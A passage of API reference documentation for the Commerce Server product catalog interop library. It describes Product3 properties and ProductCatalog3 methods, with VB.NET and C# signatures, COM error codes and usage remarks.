E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.GetProductProperties Property (PIA)

The GetProductProperties property is a read-only Recordset that contains the properties of this Product object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property GetProductProperties As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetProductProperties {get;}

Property Value

A _Recordset interface to an ADODB26Lib._Recordset object containing the properties of this product.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

The GetProductProperties parameter contains valid data only if the property was accessed successfully.

The returned single-row Recordset contains all the fields defined for the product definition as well as all the common fields in the CatalogProduct Recordset. The recordset also contains the ProductID property of the catalog if the ProductID property is not a part of the product definition.

The Recordset returned is updateable, but disconnected. To modify the product properties, pass this Recordset to the SetProductProperties method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.SetProductProperties


Product3.ParentCategories Property (PIA)

The ParentCategories property is a read-only Recordset that contains the names of categories that directly contain this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property ParentCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ParentCategories {get;}
[C#]

Property Value

A _Recordset interface to an ADODB26Lib.Recordset object containing the parent categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

If the product is not contained in any categories, the returned recordset will be empty, and its EOF property will be set to True.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
CategoryName String
Maximum of 128 characters 		Name of the category containing this product.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited (value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AncestorCategories


Product3.PricingCategory Property (PIA)

The PricingCategory property is a read/write String that contains the name of the pricing category for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Property PricingCategory As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string PricingCategory {get; set;}

Property Value

A string that contains the pricing category.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.

Remarks

Using a category as a Pricing category allows you to set the prices of multiple products by making a single change, rather than having to change the price for each product. Setting the Pricing category for a product family will also set the Pricing category for all the variants of the product family.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.PrimaryParent Property (PIA)

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[Visual Basic .NET]
…
Public Property PrimaryParent As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string PrimaryParent {get; set;}

Property Value

A string that contains the primary parent.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &Hx8898001E | The product you specified does not exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C#] 0x889800AC [Visual Basic .NET] &H889800AC | The primary parent category that you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object. If the category being added as a primary parent is not a parent category, then it will also be added as a parent category for the product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.ProductID Property (PIA)

The ProductID property is a read-only String that contains the unique ID for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property ProductID As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 string ProductID {get; }

Property Value

[C#]

A string containing the product ID.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.RelatedCategories Property (PIA)

The RelatedCategories property is a read-only Recordset object that contains the names of categories that are related to this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property RelatedCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RelatedCategories {get; set;}

Property Value

A _Recordset interface to an ADODB26Lib.Recordset containing the related categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[Visual Basic .NET]

The RelatedCategories property contains valid data only if it was accessed successfully.

The returned recordset contains one column for each relationship present.

The returned recordset contains the following fields:

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship.
[C#]

The RelatedCategories parameter contains valid data only if the property was accessed successfully.

The returned Recordset contains one row for each relationship present.

The returned Recordset contains the following fields:

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedProducts

Product3.AddRelationshipToCategory


Product3.RelatedProducts Property (PIA)

The RelatedProducts property is a read-only Recordset object that contains the names of products that are related to this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RelatedProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset RelatedProducts {get;}

Property Value

A _Recordset interface to a Recordset object containing the related products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The RelatedProducts parameter contains valid data only if the property was accessed successfully.

The Recordset returned contains one row for each relationship present.

The Recordset returned contains the following fields:

Field | Data Type | Description
<defined ProductID field> | Varies | The field that uniquely defines a product in this catalog.
RelationshipName string
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription string
Maximum of 128 characters 		Description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.UseCategoryPricing Property (PIA)

The UseCategoryPricing property is a read/write Boolean that determines whether the price of the product will be determined from the PrimaryParent property of the product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UseCategoryPricing As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
 …
public bool UseCategoryPricing {get; set;}

Property Value

A bool that specifies whether to use category pricing.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PRIMARY_PARENT | [C#] 0x889800DA [Visual Basic .NET] &H889800DA | To use category pricing for this product, you should first set a primary parent category.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.

Remarks

A value of True indicates that the price of the product will be determined from the PrimaryParent category of the product. A value of False indicates that the price of the product will not be determined from the PrimaryParent category.

Note

  • If this product is inherited by a virtual catalog, the PrimaryParent property cannot be set from the virtual catalog.

If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.Variants Property (PIA)

The Variants property is a Recordset that describes all of the variants of this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Property Variants(
  Optional strPropertyToSortOn As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Variants(
  object strPropertyToSortOn );

Parameters

[Visual Basic .NET]
strPropertyToSortOn
An Object that contains the property on which the returned Recordset object is to be sorted.
[C#]
strPropertyToSortOn
An object that contains the property on which the returned Recordset object is to be sorted. Set to Type.Missing to not specify a property on which to sort.
[C#]

Return Values

This property returns a _Recordset interface to an ADODB26Lib._Recordset object containing the variants.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

If this product has no variants, the returned Recordset will be empty, and its EOF property will be set to True.

The Recordset returned contains fields for all of the properties defined for variants of this product and the following fields:

Field | Type | Description
TimeStamp | Timestamp | None
cy_list_price | Currency | List price
<defined variant ID> | Varies | None

[C#] get_Variants does not show up in IntelliSense.

[Visual Basic .NET]

Example

rsVariants = myProduct.Variants("Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


ProductCatalog3 Class (PIA)

Use this object to alter catalogs and to modify catalog contents. The ProductCatalog3 object is the primary object for working with catalogs in the Product Catalog System.

Methods

Method | Description
AddLanguages | Adds support for an additional language.
AddPriceRule | Adds a price rule to a virtual catalog for a specific product or category.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes a category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes a product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Rebuilds virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free-text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.

Properties

Property | Type | Description
BaseCatalogName | String | This property is obsolete. Contains the name of the catalog.
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | ADODB26Lib._Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | ADODB26Lib._Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | ADODB26Lib._Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

Remarks

The ProductCatalog3 object is a dependent object. Obtain a pointer to the IProductCatalog3 interface by calling one of the following methods:

  • CatalogManager.GetCatalog
  • CatalogManager.CreateCatalog

Note

  • There is limit on the number of ProductCatalog3 objects upon which you can search. Full-text search breaks when searching more than 256 ProductCatalog3 objects. This is a limitation of SQL Server 2000.

Many of the ProductCatalog3 methods use a RecordSet object to return data. For more information, see CatalogProduct Recordset.


ProductCatalog3 Methods (PIA)

Methods

Method | Description
AddLanguages | Adds support for an additional language.
AddPriceRule | Adds a price rule to a virtual catalog for a specific product or category.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | Creates a new custom catalog template. The returned recordset is disconnected and updateable.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes a category from this catalog.
DeleteCustomCatalog | Deletes a custom catalog from this catalog.
DeleteProduct | Deletes a product from this catalog.
GenerateCustomCatalog | Populates the specified custom catalog template with data derived from this catalog.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | Returns the custom price of the specified category.
GetCustomCatalogAttributes | Returns the attributes of the specified custom catalog. The returned recordset is disconnected and updateable.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Rebuilds virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free-text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | Defines a custom price for the specified category.
SetCustomCatalogAttributes | Sets attributes for the specified custom catalog.


ProductCatalog3.AddLanguage Method (PIA)

Use this method to add support for an additional language.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddLanguage(
  strLanguage As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddLanguage(
 string strLanguage
);

Parameters

[Visual Basic .NET]
strLanguage
A String that contains the ISO 639+1 code for the language to be added.
[C#]
strLanguage
A string that contains the ISO 639+1 code for the language to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_ALREADY_EXISTS | [C#] 0x889800A0 [Visual Basic .NET] &H889800A0 | The language you specified already exists in the catalog.

Remarks

This method adds the specified language to the list of languages supported by the catalog. It will use default values if default values are specified for the property and language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.AddPriceRule Method (PIA)

Use this method to add a price rule for a specific product or category to a virtual catalog. This method applies only to virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddPriceRule(
  eCustomPricingRule As CatalogCustomPriceEnum,
  fpCustomPrice As float64,
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPriceRule(
  CatalogCustomPriceEnum eCustomPricingRule,
  float64 fpCustomPrice,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory
);

Parameters

[Visual Basic .NET]
eCustomPricingRule
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice
A float64 that contains the amount of the price adjustment.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).
[C#]
eCustomPricingRule
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice
A float64 that contains the amount of the price adjustment.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID, if the rule is specific to a variant.
fCategory
A bool that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VC_RULE_PARAM | [C#] 0x88980103 [Visual Basic .NET] &H88980103 | The ProductID or CategoryName is invalid. The ProductID and CategoryName should be passed using the ProductID(CatalogName) or CategoryName(CatalogName) format.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the rule applies to the entire catalog.

Categories, products, and variant products specified in the parameters of this method must already be included in the virtual catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be applied for that variant only.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = base price + (base price * (pfpCustomPriceAmount /100)). pfpCustomPriceAmount can be positive or negative.
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.AddSpecificationSearchClause Method (PIA)

Use this method to add constraints to a specification search of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddSpecificationSearchClause(
 strClause As String,
 pstrSearchHandle As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddSpecificationSearchClause(
 string strClause,
 ref object pstrSearchHandle
);

Parameters

[Visual Basic .NET]
strClause
A String that contains the clause to be added to the specified specification search.
pstrSearchHandle
An Object that contains the state of the specification search to which the clause will be added. This Object is also used to return the updated state of the specification search.
[C#]
strClause
A string that contains the clause to be added to the specified specification search.
pstrSearchHandle
Set to an object that contains the state of the specification search to which the clause will be added. Returned with the updated state of the specification search.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

[C#]

Upon successful completion, the pstrSearchHandle parameter will contain the name of the updated specification search.

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

Example

[Visual Basic .NET]
myProductCatalog.AddSpecificationSearchClause(strClause, pstrSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.BeginSpecificationSearch

ProductCatalog3.GetSpecificationSearchClauses

ProductCatalog3.PerformSpecificationSearch


ProductCatalog3.AddVirtualCatalogRule Method (PIA)

Use this method to add an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current virtual catalog. This method applies only to virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean,
  Optional fExclusion As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddVirtualCatalogRule(
  string strCatalogName,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory,
  bool fExclusion
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the catalog name.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion
A Boolean that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.
[C#]
strCatalogName
A string that contains the catalog name.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID to which the rule applies.
fCategory
A bool that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion
A bool that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_TOO_MANY_BASECATALOGS | [C#] 0x88980106 [Visual Basic .NET] &H88980106 | The limit (84) on the maximum number of base catalogs that can be included in a virtual catalog has been exceeded.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the entire catalog will be included.

Exclusion rules always override inclusion rules. If you exclude a category you cannot include any category or product contained within that category. Conversely, you can exclude any category or product contained within a category you have included.

